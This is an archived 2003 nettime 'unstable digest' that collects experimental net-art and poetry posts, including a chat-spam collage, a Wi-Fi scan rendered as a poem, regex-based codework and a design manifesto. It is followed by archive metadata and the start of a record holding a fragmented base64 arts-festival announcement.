\nthar_shri: but how can i pay i m in India\nnatalie myers: you want fat reduced goods \nnatalie myers: you want fat market value \nnatalie myers: you want large rolls of fat for\nfun \nnatalie myers: FFF\nnatalie myers: you are missing out \nnatalie myers: 2020\nnatalie myers: Hobbies: Astrology,Music, Reading,\nI like Traveling alot, meet new friends, \nLatest News: Nothing Special Tell me if you have\nthar_shri: only one hobby to lick hot & wet pu\nnatalie myers: what is pu \nthar_shri: P\nnatalie myers: what is p\nnatalie myers: is this fat that you can purchase\nat wal-mart?\nhttp://profiles.yahoo.com/thar_shri\n\n=====\ndepARTURES Vs. arRIVALS\n_________________________________________________\n*************Bullauge Beschleuniger*********\n\n\n                                                   http://www.porthole-accelerator.org\n\n\n\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: Hello World\nDate: Sun, 7 Sep 2003 21:41:04 -0400 (EDT)\n\n\n\n\nHello World\n\n\nSSIDApple Network 2d578d/SSID BSSID00:02:2D:2D:57:8D/BSSID\nSSIDWireless/SSID BSSID00:09:5B:23:91:36/BSSID SSIDWireless/SSID\nBSSID00:09:5B:23:91:36/BSSID SSIDApple Network 2d578d/SSID\nBSSID00:02:2D:2D:57:8D/BSSID SSIDWireless/SSID\nBSSID00:09:5B:23:91:36/BSSID SSIDWireless/SSID\nBSSID00:09:5B:23:91:36/BSSID SSIDApple Network 2d578d/SSID\nBSSID00:02:2D:2D:57:8D/BSSID SSIDApple Network 2d578d/SSID\nBSSID00:02:2D:2D:57:8D/BSSID SSIDWireless/SSID\nBSSID00:09:5B:23:91:36/BSSID SSIDapartment/SSID\nBSSID00:06:25:98:D9:0E/BSSID SSIDwww.runwork.com/SSID\nBSSID00:80:C8:B5:2A:92/BSSID SSIDbrfny/SSID BSSID00:06:25:0F:73:8A/BSSID\nSSIDtmobile/SSID BSSID00:40:96:58:93:46/BSSID SSIDkeb/SSID\nBSSID00:50:F2:CC:EC:BA/BSSID SSIDcvsretail/SSID\nBSSID00:A0:F8:37:08:C7/BSSID SSIDbrfny/SSID BSSID00:06:25:0F:73:8A/BSSID\nSSIDtmobile/SSID BSSID00:40:96:58:93:46/BSSID SSIDbrfny/SSID\nBSSID00:06:25:0F:73:8A/BSSID SSIDtmobile/SSID BSSID00:40:96:58:93:46/BSSID\n\nLLC31/LLC LLC30/LLC LLC2/LLC LLC25/LLC LLC44/LLC LLC33/LLC LLC9/LLC\nLLC3/LLC LLC23/LLC LLC10/LLC LLC16/LLC LLC32/LLC LLC147/LLC LLC1/LLC\nLLC1/LLC LLC16/LLC LLC24/LLC LLC36/LLC LLC100/LLC\n\nchannel1/channel channel11/channel channel11/channel channel1/channel\nchannel11/channel channel11/channel channel1/channel channel1/channel\nchannel11/channel channel6/channel channel11/channel channel6/channel\nchannel1/channel channel6/channel channel11/channel channel6/channel\nchannel1/channel channel6/channel channel1/channel\n\ndata176/data datasize8800/datasize client-data176/client-data\nclient-datasize8800/client-datasize data0/data datasize0/datasize\ndata0/data datasize0/datasize data42/data datasize2100/datasize\nclient-data42/client-data client-datasize2100/client-datasize data0/data\ndatasize0/datasize data2/data datasize100/datasize\nclient-data2/client-data client-datasize100/client-datasize data28/data\ndatasize1400/datasize client-data28/client-data\nclient-datasize1400/client-datasize data9/data datasize450/datasize\nclient-data9/client-data client-datasize450/client-datasize data0/data\ndatasize0/datasize data1/data datasize329/datasize\nclient-data1/client-data client-datasize329/client-datasize data4/data\ndatasize1078/datasize client-data4/client-data\nclient-datasize1078/client-datasize data0/data datasize0/datasize\ndata549/data datasize52690/datasize client-data549/client-data\nclient-datasize52690/client-datasize data0/data datasize0/datasize\ndata0/data datasize0/datasize data0/data datasize0/datasize data0/data\ndatasize0/datasize data0/data datasize0/datasize data0/data\ndatasize0/datasize\n\ntotal207/total total30/total total2/total total67/total total44/total\ntotal35/total total37/total total12/total total23/total total11/total\ntotal20/total total32/total total696/total total1/total total1/total\ntotal16/total total24/total total36/total total100/total\nip-range24.90.8.1/ip-range ip-range24.90.8.1/ip-range\nip-range192.168.0.3/ip-range ip-range24.90.8.1/ip-range\nip-range24.90.8.1/ip-range ip-range192.168.0.3/ip-range\nip-range10.255.216.105/ip-range ip-range10.255.216.105/ip-range\nip-range10.255.216.105/ip-range\n\n\n___\n\n\nDate:         Wed, 10 Sep 2003 13:37:16 -0700\nFrom: Lewis LaCook <llacook {AT} YAHOO.COM>\nSubject: more drastic][][][][][][]][][][][]\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\ndIrty scrEens f i l m o ve r\nh a n d s (lin ear disrupt)\n            of s\nE\n\nrv\ning\n\na s of what\n\ncompot ed or / as\nBLOATED WITH REMEMBERINg\ni've always tried or planned to\nexplain to you the\n\nSpiD\ners\n\nand\nwasps\nbut i was never\n\nin myself enough to\nget used to the weather\n\n\nYOU NEED WATER AS WELL AS\nI*..\n][][][][[[][][[[[[[[][ i'm just\nmore drastic][][][][][][]][][][][]\n\nthIS WIll conVERT ALl for mattting\nt o p l a ii n\ntxt<>\\><\\<>\\ {AT} \nARE I SURE I WANT TO DO\nthIS\ni'll drag my shadow\n\nfor skeletons for\n\nyou c LEAN whitebones\n\n\n\n:-: :-: :-:\n\n\n{it isn't the voice}!=\n{but the capture}==\n\n\n\n\n\n\n\u0119\u0119\u0119\u00eb\u00e7\u0107\u00ed\u011b\u0103\u013a\u00f4\u00f4\u00eb\u00e7\u0119\u013a\u00e4\u0148\u00e7\u00df\u00fa\n\u013a\u00ed\u0107\u00e7\u00fa\u0119\u00e2\u00e4\u00e4\u00e7\u0144\u00ed\u0102\u00e7\u00ee\u00e7\u00cd\u00ee \u0102\u00eb\u017c\n\n\n\n\n\n=====\n\n\nNEW!!!--Dirty Milk--reactive poem for microphone http://www.lewislacook.com/DirtyMilk/\n\nhttp://www.lewislacook.com/\n\ntubulence artist studio:  http://turbulence.org/studios/lacook/index.html\n\n\n\n\n\n\n\n\n__________________________________\nDo you Yahoo!?\nYahoo! SiteBuilder - Free, easy-to-use web site design software\nhttp://sitebuilder.yahoo.com\n\n\n\nTo: _arc.hive_ {AT} lm.va.com.au\nFrom: \"][mez][\" <netwurker {AT} hotkey.net.au>\nSubject: Re:  my mother's pearls\nDate: Thu, 11 Sep 2003 17:58:43 +1000\n\nAt 01:38 PM 10/09/2003 -0700, you wrote:\n>Today is almost a palindrome.\n\n\npal.lyndrical cycl(d)ial(up)\n\n>With my tongue on\n>the strings, gingerly\n>brutal with this turbulence\n>of unanswerable correspondence.\n\n\nt[l]onguing::ON\nlounging::OFF\n\n>Everyone has soft shoes\n>and dark eyes today, though\n>Armitage engirths\n>fantastic tolls. So you want to be\n>rid of your arms?\n\narm.E.tagging + blossom tear confetti drifting across sub.scriber.souls\n[drunk.on.the.page.bound(aries)s]\n\n\n>I can\n>picture you as a Michaelangelo\n>Venus, bottling the waves and\n>grounding in apothecary with your\n>shell. An inferno, to be sure:\n\nN.fern.Oh'ed.\n\n\n>Did you smell that other room\n\nsmel[t]l that.uber.tom[my.bouyed.+.f[l]ash.ion.dangerous]\n\n>on your fingers as you lie back\n>after serious love, sliding\n>my mother's pearls over your\n>petals? A tall glass of\n>all the oceans, all the noise.\n>I'm dehydrated\n\nhy[de]range.S.\n\n\n\n\n\n\n>=====\n>\n>\n>NEW!!!--Dirty Milk--reactive poem for microphone \n>http://www.lewislacook.com/DirtyMilk/\n>\n>http://www.lewislacook.com/\n>\n>tubulence artist studio:  http://turbulence.org/studios/lacook/index.html\n>\n>\n>\n>\n>\n>\n>\n>\n>__________________________________\n>Do you Yahoo!?\n>Yahoo! SiteBuilder - Free, easy-to-use web site design software\n>http://sitebuilder.yahoo.com\n>_______________________________________________\n>_arc.hive_ mailing list\n>_arc.hive_ {AT} lm.va.com.au\n>http://lm.va.com.au/mailman/listinfo/_arc.hive_\n>This list is proudly supported by VA. http://www.va.com.au\n\n- pro][rating][.lucid.txt\n-\n-\n\nhttp://www.hotkey.net.au/~netwurker\nhttp://www.livejournal.com/users/netwurker/\n_\n_cr[xxx]oss ova.ring.\n\n\n\nFrom: \"Lanny Quarles\" <solipsis {AT} hevanet.com>\nTo: <nettime-l {AT} bbs.thing.net>\nSubject: L'Artiste, le savant et l'industriel\nDate: Thu, 11 Sep 2003 10:50:11 -0700\n\n\n\n\nL'Artiste, le savant et l'industriel\n\n[Shrbolect()entry-valve{nrrtvy}]\n\n//?1\nI am the first to arrive\ncloaked head to toe in sterile\nand obedient silk\n\n//?1.1\nmy mirrored goggles\nmake me a gargoyle\non the precipice\nof a technological cathedral\n\n//?1.2\nmy intelligent servant\nis a robotic toolbox on wheels\nwith a touch-screen interface\nand 27,846 extant procedures\n\n//?1.3\nyou may sense=20\nthe amorphous complexity\nof civilization=20\nthe formless vigils=20\nof enactment\n\n//?1.4\nbut sensors are subjective\nand data is subject\nto filtering\nthe long true space\nis more radical\nthan your mind\n\n//?1.5\nenvelopes of causality\nin a matrix of praxial exchange\nexample:\n\n{the brand-new plumber of Ghana}\n\ncertainly there are viscious residues\nbut the sense of plumbing\nremains\n\n-------\nvoc:b()sub()b[\n\na network receding into depths\nthe convoluted underscore\nwhich subsumes...\n\na blipped scar--->\n\nhttp://www.lns.cornell.edu/spr/2001-10/msg0035858.html\n\n]\n\n[Shrbolect()entry-valve{nrrtvy}sub()2U]\n\n/{weirdly flowing smile}/\n\nA political animal which refuses to synchronize\nwith the world-animal.\n\nA hierarchical totem;=20\nin representation-\n\nan extraction\nfrom the windy wet globe\n\n[s/umm*ing]\n\nthe media is a kind of interlocking subconscious\nquery the alien/totem\n\nSee John Carpenter's The Thing,\n\nIn the final scene we find an uncanny image:\n\na living and monstrous totem, a viral bioinformatic tendril\nwhich absorbs and replaces and retains morphology.\n\nA spectacular, quite opaque, living representation\nof a process which can only be understood through\nan evolving instrumentality whose formal and political\nconstraints are essentially methods of interpretation\nand deployment.\n\nImagine that beast to be the global sociopolitical circumstance.\nNow imagine you are a mite with a toolbox crawling across\nits convulsing surface.\n\n//knotEnd\n\n\n\n\n\nDate:         Wed, 10 Sep 2003 12:00:03 -0700\nFrom: MWP <mpalmer {AT} JPS.NET>\nSubject: MIRRORORRIMS - A\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nMIRRORORRIMS - A\nAFTER JONES VERY'S LOVE\n\nI a I\n\n\n\n.htrib la] [asked of Time to tell me where waw erehw em llet ot emiT fo\ndeksa] [as Love;\n\nHe pointed to her foot-steps on the snow,\n\nWhere first the a eht tsrif erehW\n\n,wons eht no spets-toof reh ot detniop eH\n\n;evoL sa] [angel lighted from a morf dethgil legna] [above,\n\nA\n\n,evoba] [and bid me note the waw eht eton em dib dna] [ay a ya] [and onwawno\ndna] [ard go;\n\nThrough populous streets of cities spreaerps seitic fo steerts suolupop\nhguorhT\n\n;og dra] [aking wide,\n\nBy lonely cottattoc ylenol yB\n\n,ediw gnika] [age rising on the moor,\n\nWhere bursts from sundered cliff the struggling tide,\n\nTo where it hah ti erehw oT\n\n,edit gnilggurts eht ffilc derednus morf stsrub erehW\n\n,room eht no gnisir ega] [ails to seaes ot slia] [a with a htiw a]\n[answering roaor gnirewsna] [ar,\n\nShe led me on; o'er mountatnuom re'o ;no em del ehS\n\n,ra] [ain's frozen heaeh nezorf s'nia] [ad,\n\nwhere mile on mile still stretches on the plalp eht no sehcterts llits elim\nno elim erehw\n\n,da] [ain,\n\nThen homewawemoh nehT\n\n,nia] [ard whither first my feet she led,\n\nI trart I\n\n,del ehs teef ym tsrif rehtihw dra] [aced her pap reh deca] [ath a hta]\n[along the snow a wons eht gnola] [agaga] [ain;\n\nBut there the sun hah nus eht ereht tuB\n\n;nia] [ad melted from the eae eht morf detlem da] [arth\n\nThe prints where first she trod, a ,dort ehs tsrif erehw stnirp ehT\n\nhtra] [a child of mortatrom fo dlihc a] [al birth.\n\n\nI a I\n\n\n\n.htrib la]\n\n\n\n\n# # #\n\n\n\nDate:         Mon, 8 Sep 2003 10:53:00 -0400\nFrom: \"John M. Bennett\" <bennett.23 {AT} OSU.EDU>\nSubject: More more St. Louis prelubes\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\n\ns\n\n=\npud  s\n(\n\n\n\n\n...\n,\n\nc  lub\n\nw  oo\n)f\n\n//\n\n\n\n\nS\n\nlug  r\nace  rid\n\n(b  ring)\n\"tap\n\"\n\"\n\n\n\n\nJohn M. Bennett\n\n\n\n\n__________________________________________\nDr. John M. Bennett\nCurator, Avant Writing Collection\nRare Books & Manuscripts Library\nThe Ohio State University Libraries\n1858 Neil Av Mall\nColumbus, OH 43210 USA\n\n(614) 292-3029\nbennett.23 {AT} osu.edu\n\n\n\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: bodye\nDate: Fri, 12 Sep 2003 23:40:39 -0400 (EDT)\n\n\n\n\t#hZ/([^aeyou+])e([^aeyou+][^aeyou+])/12/g;\n\t#hZ/([^aeyou+][^aeyou+])e(\\hZ)/12/g;\n\t#hZ/eagonyehz ewunutterable chaos of loveeyr bodyehz gonee\n\thZ///g;\n\thZ/([\\abu.ya yn agonyehz ewunutterable chaos of loveeyr bodyehz\n\thZ/([\\abu.ya yn agonyehz ewunutterable chaos of loveeyr bodyehz\n\thZ/([\\abu.ya yn agonyehz ewunutterable chaos of loveeyr bodyehz\n\thZ/([\\abu.ya yn agonyehz ewunutterable chaos of loveeyr bodyehz\n\thZ/([\\abu.ya yn agonyehz ewunutterable chaos of loveeyr bodyehz\n\thZ/([\\abu.ya yn agonyehz ewunutterable chaos of loveeyr bodyehz\n\thZ/([\\abu.ya yn agonyehz ewunutterable chaos of loveeyr bodyehz\n\thZ/([\\abu.ya yn agonyehz ewunutterable chaos of loveeyr bodyehz\n\thZ/([\\abu.ya yn agonyehz ewunutterable chaos of loveeyr bodyehz\n\thZ/([\\abu.ya yn agonyehz ewunutterable chaos of loveeyr bodyehz\n\thZ/([\\abu.ya yn agonyehz ewunutterable chaos of loveeyr bodyehz\n\thZ/([\\abu.ya yn agonyehz ewunutterable chaos of loveeyr bodyehz\n\thZ/([\\abu.ya yn agonyehz ewunutterable chaos of loveeyr bodyehz\n\thZ/([\\abu.ya yn agonyehz ewunutterable chaos of loveeyr bodyehz\n\thZ/([\\abu.ya yn agonyehz ewunutterable chaos of loveeyr bodyehz\n\thZ/(\\abu.ya yn agonyehz ewunutterable chaos of loveeyr bodyehz\n\thZ/(\\abu.ya yn agonyehz ewunutterable chaos of loveeyr bodyehz\n\thZ/(\\abu.ya yn agonyehz ewunutterable chaos of loveeyr bodyehz\n\thZ/(\\abu.ya yn agonyehz ewunutterable chaos of loveeyr bodyehz\n\thZ/a dropped loagonyehz ewunutterable chaos of loveeyr bodyehz\n\thZ/B[e]+(\\abu.ya yn agonyehz ewunutterable chaos of loveeyr\n\thZ/perhaphz unutterable chaos of lovee+ planned unutterable chaos\n\thZ/agonyehz ewunutterable chaos of loveeyr bodyehz gonee\n\thZ/FLSH!(\\abu.ya yn agonyehz ewunutterable chaos of loveeyr\n\thZ/dyperhaphz unutterable chaos of lovee+ planned unutterable\n\thZ/lohZt perhaphz unutterable chaos of lovee+ planned unutterable\n\thZ/hZ([^ZH])/hZ1/g+;\n\thZ/Th([aeyou+])/agonyehZ eagonyehz ewunutterable chaos of loveeyr\n\thZ/abu.ya yn agonyehz ewunutterable chaos of loveeyr bodyehz gonee\n\thZ/[\\abu.ya yn agonyehz ewunutterable chaos of loveeyr bodyehz\n\thZ/[tagonyehz ewunutterable chaos of loveeyr bodyehz gonee\n\thZ/\\\\([a dropped loagonyehz ewunutterable chaos of loveeyr bodyehz\n\thZ/l(\\abu.ya yn agonyehz ewunutterable chaos of loveeyr bodyehz\n\thZ/b[e]+(\\abu.ya yn agonyehz ewunutterable chaos of loveeyr\n\thZ/death operhaphz unutterable chaos of lovee+ planned unutterable\n\thZ/agonyehz ewunutterable chaos of loveeyr bodyehz gonee\n\thZ/agonyehz ewunutterable chaos of loveeyr bodyehz gonee\n\thZ/agonyehz ewunutterable chaos of loveeyr bodyehz gonee\n\thZ/agonyehz ewunutterable chaos of loveeyr bodyehz gonee\n\thZ/unutterable chaos of loveeyr bodyehz gone/agonyehz\n\thZ/perhaphz unutterable chaos of lovee+ planned unutterable chaos\n\thZ/perhaphz unutterable chaos of lovee+ planned unutterable chaos\n\thZ/perhaphz unutterable chaos of lovee+ planned unutterable chaos\n\thZ/+/+/g+;\n\thZ/yn([de])/9n1/g+;\n\thZ/dark and contrar+ woman/dark brunette agonyehz ewunutterable\n\thZ/dyperhaphz unutterable chaos of lovee+ planned unutterable\n\thZ/lohZt perhaphz unutterable chaos of lovee+ planned unutterable\n\thZ/hZ([^zh])/hz1/g;\n\thZ/tunutterable chaos of loveeyr bodyehz gone/agonyehz\n\thZ/th([aeyou+])/unuttunutterable chaos of loveeyr bodyehz goneable\n\thZ/uagonyehz ewunutterable chaos of loveeyr bodyehz gonee\n\thZ/yn agonyehz ewunutterable chaos of loveeyr bodyehz gonee\n\thZ/ecstatic/eagonyehz ewunutterable chaos of loveeyr bodyehz gonee\n\thZ/+([\\abu.ya yn agonyehz ewunutterable chaos of loveeyr bodyehz\n\thZ/z[e][ea](\\abu.ya yn agonyehz ewunutterable chaos of loveeyr\n        begynnynguryouhZ/g;\n\n\nDate: Tue, 9 Sep 2003 22:54:50 +0200\nTo: nettime-l {AT} bbs.thing.net\nFrom: Rob van Kranenburg <kranenbu {AT} xs4all.nl>\nSubject: a Design Manifesto for the 21th century\n\nBoring!\n\nPrivacy\nA 19th century concept tied to the rise of  the liberal self, \nuntenable in a connected environment\nProducts\nA moratorium to be globally issued on no more making of things. There \nare plenty. We use what we find in the flea markets\nFear\nFear is out. Why worry?\nShopping\nThe object is ever empty, however much you want to reach it by buying \nsomething, again and again. We design to face this\nSuccess\nFailure takes all that into account, that success neatly excludes in \norder to claim an 'end' that is successful\n\nRandom!\n\nThresholds\nNo more masks\nCalm\nNo more spectacle\nStruggle\nNo more seamlessness\nSimple\nTo show, not tell\nQuality\nTo perform your argument, skilfully\nLove\nSustainable energy\n\n-- \n\n\nweb: http://simsim.rug.ac.be/staff/rob\nmail: kranenbu {AT} xs4all.nl\nmobile:\n++32 (0) 472 40 63 72\nCall home first 0032 9 2333 853\n\n\n\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: Nervous Laughter from Compressed Labor\nDate: Thu, 11 Sep 2003 00:17:07 -0400 (EDT)\n\n\n\n\nNervous Laughter from Compressed Labor\n\n\nHan = kog!tat!ng tap tap; tzomedz!ngz\nm!ght!r dzan dze! r kom!ng...\nHan = Koreagab tap icy tag tag -\nTexZorn's lemma omega Des Zion... naggagzeal\ngzeal... mu gab hi trap -- Des Zion...\nZan dzei ramkin Nguyen Maeatnag ,\nKorangab tapes icon tagged and tagging.:x\n\n\n___\n\n\nFrom: \"Lanny Quarles\" <solipsis {AT} hevanet.com>\nTo: \"Shaun Hanson\" <sbh20 {AT} hotmail.com>,\nSubject: \"viewingstrings\" exeunt: SINT-GRANDE //000-delta(mist)\nDate: Sat, 13 Sep 2003 05:38:41 -0700\n\n\n\n\n\n\"viewingstrings\" exeunt: SINT-GRANDE //000-delta(mist)\n\nhttp://www.hevanet.com/solipsis/desktopcollage/sintgrande1.jpg\n\n\n\n\n\nnettime unstable digest vol 64\nSun Sep 14 09:15:34 2003\n\n\nSubject: Re: <nettime> unstable digest vol 63\n    From: tiago borges da silva <tiago.borges-da-silva {AT} rca.ac.uk>\n    To: Florian Cramer <cantsin {AT} zedat.fu-berlin.de>\n\nSubject: thar_shri_another truelove adventure\n    From: portholeaccel <portholeaccel {AT} yahoo.com>\n    To: syn <syndicate {AT} anart.no>\n\nSubject: Hello World\n    From: Alan Sondheim <sondheim {AT} panix.com>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: more drastic][][][][][][]][][][][]\n    From: Lewis LaCook <llacook {AT} YAHOO.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: Re:  my mother's pearls\n    From: \"][mez][\" <netwurker {AT} hotkey.net.au>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: L'Artiste, le savant et l'industriel\n    From: \"Lanny Quarles\" <solipsis {AT} hevanet.com>\n    To: <nettime-l {AT} bbs.thing.net>\n\nSubject: MIRRORORRIMS - A\n    From: MWP <mpalmer {AT} JPS.NET>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: More more St. Louis prelubes\n    From: \"John M. Bennett\" <bennett.23 {AT} OSU.EDU>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: bodye\n    From: Alan Sondheim <sondheim {AT} panix.com>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: a Design Manifesto for the 21th century\n    From: Rob van Kranenburg <kranenbu {AT} xs4all.nl>\n    To: nettime-l {AT} bbs.thing.net\n\nSubject: Nervous Laughter from Compressed Labor\n    From: Alan Sondheim <sondheim {AT} panix.com>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: \"viewingstrings\" exeunt: SINT-GRANDE //000-delta(mist)\n    From: \"Lanny Quarles\" <solipsis {AT} hevanet.com>\n    To: \"Shaun Hanson\" <sbh20 {AT} hotmail.com>,\n\n\n\nlurking editors\n\nbeatrice beaubien <webmaven {AT} i2eye.com>\n    7-11 nettime-bold thingist \nflorian cramer <cantsin {AT} zedat.fu-berlin.de>\n    7-11 _arc.hive_ eu-gene o-o rhizome rohrpost webartery wryting \nalan sondheim <sondheim {AT} panix.com>\n    7-11 _arc.hive_ poetics siratori trAce webartery wryting \n$Id: digestunstable.pl,v 1.13 2003/01/26 18:51:21 paragram Exp $\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Sun, 14 Sep 2003 09:16:38 +0200",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200309150920.h8F9K2R15382 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0309/msg00073.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 64"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00053",
                "content": "\nTo: _arc.hive_ {AT} lm.va.com.au\nFrom: HUB <hub {AT} x-arn.org>\nSubject: ASRF/0.2\nDate: 2 Sep 2003 04:41:16 -0000\n\n\ndWViZWMNCmFydGlzdHM8L2Rpdj4NCjxkaXY+Jm5ic3A7Jm5ic3A7Jm5ic3A7  dj4yLiBGY\nWRvIHVwZGF0ZTwvZGl2Pg0KPGRpdj4zLiBDQUxMIEZPUiBFTlRS  dXJjaDwvZGl2Pg0KPG\nRpdj41LiBDQUxMIEZPUiBQRVJGT1JNQU5DRSBBUlQg  dj4NCjxkaXY+Jm5ic3A7Jm5ic3A\n7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7  dHMgUEFTIERFIFRSQURVQ1RJT04sIGZlYXR1\ncmluZyA1IFF1ZWJlYw0KYXJ0  dj4NCjxkaXY+PGZvbnQgY29sb3I9IiMwMDAwMDAiPjxiP\nlBBUyBERSBUUkFE  d2VyayBHYWxsZXJ5LCA2MjBBIFF1ZWVuIFN0LiBXLjxicj4NClJvdW\n5kIFRh  dGFuY2Ugb2YNCmFsbCBvZiB0aGUgYWN0aXZpdGllcykuIE9uIFN1bmRheSwg  d\nXNlcyBvbiB0aGUNCndheXMgaW50ZXJhY3Rpb24gYmV0d2VlbiBwZXJmb3Jt  dW90Oykgcm\nVmZXJzDQpsaWdodC1oZWFydGVkbHkgdG8gdGhlIHRyYWRpdGlv  dHJhbnNsYXRlZCwgYW5\nkIHdoYXQgd2UgcmVmdXNlIHRvDQp0cmFuc2xhdGUs  dHJlYWwuIE92ZXIgdGhlDQpwYXN0\nIGRlY2FkZSwgc2hlIGhhcyBkZXZlbG9w  dGFuemEgQ2FtZWxvPGJyPg0KPC9iPk9yaWdpb\nmFsbHkgZnJvbSBDb2x1bWJp  dWx0aWRpc2NpcGxpbmFyeSBhcnRpc3QgbGl2aW5nIGFuZC\nB3b3JraW5nIGlu  dCBvciBvdGhlcg0KcHVibGljIHNwYWNlcywgaW5jbHVkaW5nIGdhbGx\nlcmll  dGhvciBvZiBuYXJyYXRpdmUgdGV4dHMgYW5kIGNyaXRpY2FsIGFydGljbGVz  dG\nggRGlhbmUgTGFuZHJ5IGFuZCBCcnVpdCBUVFYpIGFydCBwcmFjdGljZSBp  d29ya3MgYXM\ngYW4gaW5kZXBlbmRlbnQgY3VyYXRvci48L2ZvbnQ+PGJyPg0K  dWx0IG9mIHNpZ25pZmlj\nYW50IGZ1bmRpbmcgaW5jcmVhc2VzIGZyb20gdGhl  dGlvbiBmb3IgdGhlIDIwMDMtMDQgZ\nmlzY2FsIHllYXIgLS0gdGhlIGZpcnN0  dml0YWwgY29udHJpYnV0aW9uIHRoYXQgaXMgYm\nVpbmcgcmVjb2duaXplZC48  dmVudCB3aWxsIGJlIEZJVkUgSE9MRVM6IHJlbWluaVNDRU5\nULCBhIHNlcmll  dGFraW5nIHBsYWNlIGluIFNlcHRlbWJlcg0KY28tY3VyYXRlZCBieSBQ\nYXVs  dGF5DQp0dW5lZCBmb3IgZGV0YWlscy48L2Rpdj4NCjxkaXY+PGJyPjwvZGl2  dSw\ngRmlubGFuZC4gSGUgd2lsbCBiZSBkb2luZyBhIHRocmVlLW1vbnRoIHdv  dWRlIGFzc2lz\ndGluZyB3aXRoIHBlcmZvcm1hbmNlIGV2ZW50cyBhbmQgd29y  dmluZyBsaXZlZCBpbiBCd\nXJuYWJ5LCBCLkMuIGZvciB0d28geWVhcnMgYXMg  dGFjdCBGYWRvIGFuZCBsZXQgdXMga2\n5vdywgZWl0aGVyIGJ5IHBob25lICg0  dCBhcyB0aGUgRmVzdGl2YWwgQW5pbWF0b3IgZm9\nyIHRoZQ0KVmlzdWFsRXll  dSBjYW4gY2hlY2sgb3V0DQpoaXMgZGFpbHkgb25saW5lIHJl\ncG9ydHMgb2Z0  dGhpbiB0aGUgYXJ0aXN0J3Mgb3duIHRpbWUtc3BhY2UgLSBpLmUuIGJ5I\nG1h  dWRpZW5jZXMgd2hvIGFyZSBub3QgcGh5c2ljYWxseSBwcmVzZW50IC0gYnV0  dmlk\ndWFsIGFuZCBoaXMgbGlmZSB3YXMNCmZpcnN0IGxhaWQgYmFyZSBhbmQg  dGlvbjwvZGl2P\ng0KPGRpdj48YnI+PC9kaXY+DQo8ZGl2PlBFUkZPUk1BTkNF  dGlvbiBpbiBEYXJ0aW5ndG\n9uIEFydCBHYWxsZXJ5LA0KM3JkLTV0aCBPY3Rv  dGggQVVHVVNUIDIwMDM8YnI+DQo8L2R\npdj4NCjxkaXY+QWxsIHBhcnRpY2lw  dGlvbiBvZg0KdGhlIGV2ZW50LjwvZGl2Pg0KPGRp\ndj4mbmJzcDs8L2Rpdj4N  dj4NCjxkaXY+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7IERlY\nWRsaW5lOiBT  dW90OyBpbiBhIGJyb2FkZXINCnNlbnNlLCBhczxicj4NCkpvaG4gQ2FnZS\nBz  dGF0ZWQuICZxdW90O0NvYWxpdGlvbiZxdW90OyB3aWxsIGV4cGFuZCB0aGlz  dXNlc\nyBpbjxicj4NCmJldHdlZW4gcGVyZm9ybWFuY2VzLiBBIHNwZWNpYWwg  dXNlZC48YnI+DQ\notIFBlcmZvcm1hbmNlIHRpdGxlLjxicj4NCi0gUGVyZm9y  dGhlIGF1ZGlvIGFuZCBwZXJ\nmb3JtYW5jZSBhcnRpc3Q7IG5vIGxvbmdlciB0  dGhlciBhdHRhY2htZW50IHdpdGhvdXQg\ncHJpb3IgYWdyZWVtZW50LiBPbmx5  dSBuZWVkIHRoZW0gcmV0dXJuZWQsIHBsZWFzZSBjb\n250YWN0IHVzIGluIGFk  dmFuY2UsDQp0bzxicj4NCmFycmFuZ2UgdGhpcyBhcyBhIHBhcn\nRpY3VsYXIg  d2F5OiBpZiBzb21lYm9keSBoYXMgcmVjZW50bHkgc2VlbiBvciB0YWxrIHR\nv  dW90Ow0KUGVyZm9ybWFuY2UgUmVzZWFyY2ggOToyIChVSyk8L2Rpdj4NCjxk  dCwgZG\nVzaWduZXIsIGFuZA0KY28tZm91bmRlciBvZiBEZU1vIERlc2lnbiwg  dHJpYnV0aW9ucyB\nmcm9tIHByYWN0aXRpb25lcnMgYW5kDQpzY2hvbGFycyB3  dWJzdGFuY2Ugb2YgdGhlIHBh\nZ2U7IHRoZXNlIG1heSBvZmZlciBoaXN0b3Jp  dWxkIGJlIGluIHRoZSBmb3JtIG9mJm5ic\n3A7IGNvbnZlbnRpb25hbCwgbGlu  dW5kcnkgb2YgcGVyZm9ybWFuY2UsIGluY2x1ZGluZw\n0Kc2NyaXB0d3JpdGVy  dHMuIFdlIGFyZSBhbHNvDQppbnRlcmVzdGVkIGluIGNvbm5lY3R\npb25zIHRv  dm9uIFRROSA3UkQgVUs8YnI+DQombmJzcDt0ZWwuIDAwNDQgMTgwMyA4NjE2\n  dGhlIGV4Y2x1c2l2ZSByaWdodHMgdG8gcmVwcm9kdWNlIGFuZCBkaXN0cmli  